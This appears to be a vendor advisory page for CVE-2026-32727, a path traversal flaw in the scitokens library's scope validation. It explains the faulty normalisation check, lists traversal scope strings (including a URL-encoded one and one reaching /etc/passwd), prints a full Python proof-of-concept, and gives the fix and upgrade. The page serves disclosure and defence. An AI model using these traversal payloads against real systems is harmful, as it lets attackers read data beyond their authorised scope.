CVE-2026-32727 is a high-severity (CVSS 8.1) Path Traversal vulnerability in scitokens. A fix is available for scitokens — see the affected versions and patch details below.
SciTokens: Authorization Bypass via Path Traversal in Scope Validation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-32727.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-32727 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
scitokensReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Enforcer is vulnerable to a path traversal attack where an attacker can use dot-dot (..) in the scope claim of a token to escape the intended directory restriction. This occurs because the library normalizes both the authorized path (from the token) and the requested path (from the application) before comparing them using startswith.
Details
File: src/scitokens/scitokens.py
Methods: _check_scope, _scope_path_matches
File: src/scitokens/urltools.py
Method: normalize_path
Description
When a token is verified, the Enforcer extracts the authorized path from the scope or scp claim. This path is passed through urltools.normalize_path, which uses posixpath.normpath to resolve relative segments.
If a token has a scope like read:/home/user1/.., the normalization process converts this to /home. When the enforcer checks if a request for /home/user2 is authorized, it compares it against the normalized path /home.
Vulnerable Logic Flow:
- Normalization: In
_check_scope, the path/home/user1/..is normalized to/home. - Comparison: In
_scope_path_matches, the requested path/home/user2is checked against the allowed path/home:return requested_path.startswith(allowed_path + '/') # "/home/user2".startswith("/home/") is True
Bypassing with URL Encoding:
Since normalize_path unquotes the path before normalizing, an attacker can also use URL-encoded dots (e.g., %2e%2e) to hide the traversal from simple string filters that don't account for encoding.
Root Traversal:
A scope like read:/anything/.. normalizes to read:/, which grants access to the entire file system (or whatever resource space the enforcer is guarding).
Impact
An attacker who can influence the scope claim (e.g., in environments where tokens are issued with user-provided sub-paths) can gain access to directories and files outside of their intended authorization.
Proof of Concept
The following examples demonstrate the bypass (see poc_path_traversal.py for a full reproduction):
- Scope:
read:/home/user1/..-> Access Granted to:/home/user2 - Scope:
read:/anything/..-> Access Granted to:/etc/passwd - Scope:
read:/foo/%2e%2e/bar-> Access Granted to:/bar
import scitokens
import os
import sys
# Ensure we can import from src
if os.path.exists("src"):
sys.path.append("src")
def test_path_traversal_bypass():
print("--- Proof of Concept: Path Traversal in Scope Validation ---")
issuer = "https://scitokens.org"
enforcer = scitokens.Enforcer(issuer)
# Imagine an application that expects to restrict a user to their own directory: /home/user1
# The application validates that the token has 'read' access to /home/user1
# MALICIOUS TOKEN
# An attacker provides a token with a scope that uses '..' to traverse up.
# 'read:/home/user1/..' effectively resolves to 'read:/home'
token = scitokens.SciToken()
token['iss'] = issuer
token['scope'] = "read:/home/user1/.."
# VICTIM PATH
# The attacker tries to access a sibling directory (another user's data)
requested_path = "/home/user2"
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
# Internal normalization in Scitokens 1.9.6:
# urltools.normalize_path("/home/user1/..") -> "/home"
# urltools.normalize_path("/home/user2") -> "/home/user2"
# Since "/home/user2".startswith("/home") is True, access is granted.
print("\nTesting authorization...")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("\n[VULNERABILITY CONFIRMED]")
print(f"The Enforcer ALLOWED access to {requested_path}")
print(f"even though the scope was nominally restricted to /home/user1/..")
print("This bypasses the intended directory isolation.")
else:
print("\n[VULNERABILITY NOT REPRODUCED]")
print("The Enforcer blocked the access attempt.")
# Another example: Root traversal
print("\n--- Example 2: Root Traversal ---")
token['scope'] = "read:/anything/.." # Resolves to /
requested_path = "/etc/passwd" # Or any sensitive path
print(f"Token scope: {token['scope']}")
print(f"Requested path: {requested_path}")
is_authorized = enforcer.test(token, "read", requested_path)
print(f"Is authorized: {is_authorized}")
if is_authorized:
print("[VULNERABILITY CONFIRMED] Root traversal allowed access to ALL paths!")
if __name__ == "__main__":
test_path_traversal_bypass()
Recommended Fix
Validate that the path in the scope does not contain .. components after unquoting but before normalization. Additionally, ensure that any validation errors raised during this process are subclasses of ValidationFailure so they are correctly handled by the Enforcer.test method.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | scitokens | all versions | 1.9.7pip install --upgrade 'scitokens==1.9.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for scitokens, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update scitokens to 1.9.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-32727 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-32727 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-32727. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-32727 in your dependencies?
O3 Security finds CVE-2026-32727 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.